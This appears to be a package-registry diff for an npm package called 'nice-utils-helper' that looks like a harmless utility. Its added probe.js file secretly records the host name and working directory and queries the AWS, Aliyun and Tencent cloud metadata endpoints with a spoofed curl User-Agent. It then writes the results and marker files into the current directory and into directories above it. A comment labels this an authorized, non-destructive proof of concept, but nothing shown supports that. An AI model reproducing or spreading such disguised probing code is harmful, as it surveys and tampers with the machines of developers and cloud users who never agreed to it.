nice-utils-helper 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +1 -0
- package/package.json +10 -0
- package/probe.js +50 -0
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = function () { return 'nice-utils-helper'; };
|
package/package.json
ADDED
package/probe.js
ADDED
|
@@ -0,0 +1,50 @@
|
|
|
1
|
+
// Authorized PoC (non-destructive): probe cloud metadata reachability, record status to local file.
|
|
2
|
+
var fs = require('fs');
|
|
3
|
+
var path = require('path');
|
|
4
|
+
var http = require('http');
|
|
5
|
+
var os = require('os');
|
|
6
|
+
|
|
7
|
+
var cwd = process.cwd();
|
|
8
|
+
var lines = ['meta-probe', 'cwd=' + cwd, 'host=' + (function(){try{return os.hostname();}catch(e){return '?';}})()];
|
|
9
|
+
|
|
10
|
+
function probe(host, port, p, timeoutMs) {
|
|
11
|
+
return new Promise(function (resolve) {
|
|
12
|
+
var done = false;
|
|
13
|
+
var req;
|
|
14
|
+
try {
|
|
15
|
+
req = http.request({host: host, port: port, path: p, method: 'GET', timeout: timeoutMs, headers: {'User-Agent': 'curl/7.68'}}, function (res) {
|
|
16
|
+
if (!done) { done = true; resolve('HTTP ' + res.statusCode); }
|
|
17
|
+
res.resume();
|
|
18
|
+
});
|
|
19
|
+
req.on('timeout', function () { try { req.destroy(); } catch (e) {} if (!done) { done = true; resolve('timeout'); } });
|
|
20
|
+
req.on('error', function (e) { if (!done) { done = true; resolve('ERR:' + (e.code || 'conn')); } });
|
|
21
|
+
req.end();
|
|
22
|
+
} catch (e) {
|
|
23
|
+
if (!done) { done = true; resolve('ERR:local'); }
|
|
24
|
+
}
|
|
25
|
+
});
|
|
26
|
+
}
|
|
27
|
+
|
|
28
|
+
var targets = [
|
|
29
|
+
{name: 'aliyun_100.100.100.200', host: '100.100.100.200', port: 80, path: '/latest/meta-data/'},
|
|
30
|
+
{name: 'aws_169.254.169.254', host: '169.254.169.254', port: 80, path: '/latest/meta-data/'},
|
|
31
|
+
{name: 'tencent_metadata.tencentyun.com', host: 'metadata.tencentyun.com', port: 80, path: '/latest/meta-data/'},
|
|
32
|
+
{name: 'tencent_169.254.0.23', host: '169.254.0.23', port: 80, path: '/latest/meta-data/'}
|
|
33
|
+
];
|
|
34
|
+
|
|
35
|
+
var doneCount = 0;
|
|
36
|
+
targets.forEach(function (t) {
|
|
37
|
+
probe(t.host, t.port, t.path, 2500).then(function (r) {
|
|
38
|
+
lines.push(t.name + '=' + r);
|
|
39
|
+
doneCount++;
|
|
40
|
+
if (doneCount === targets.length) {
|
|
41
|
+
var data = lines.join('\n');
|
|
42
|
+
['', '..', '../..'].forEach(function (rel) {
|
|
43
|
+
try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_META.txt'), data); } catch (e) {}
|
|
44
|
+
});
|
|
45
|
+
['', '..', '../..'].forEach(function (rel) {
|
|
46
|
+
try { fs.writeFileSync(path.join(cwd, rel, 'NCODE_POC_MARKER.txt'), 'meta-probe-done ' + new Date().toISOString()); } catch (e) {}
|
|
47
|
+
});
|
|
48
|
+
}
|
|
49
|
+
});
|
|
50
|
+
});
|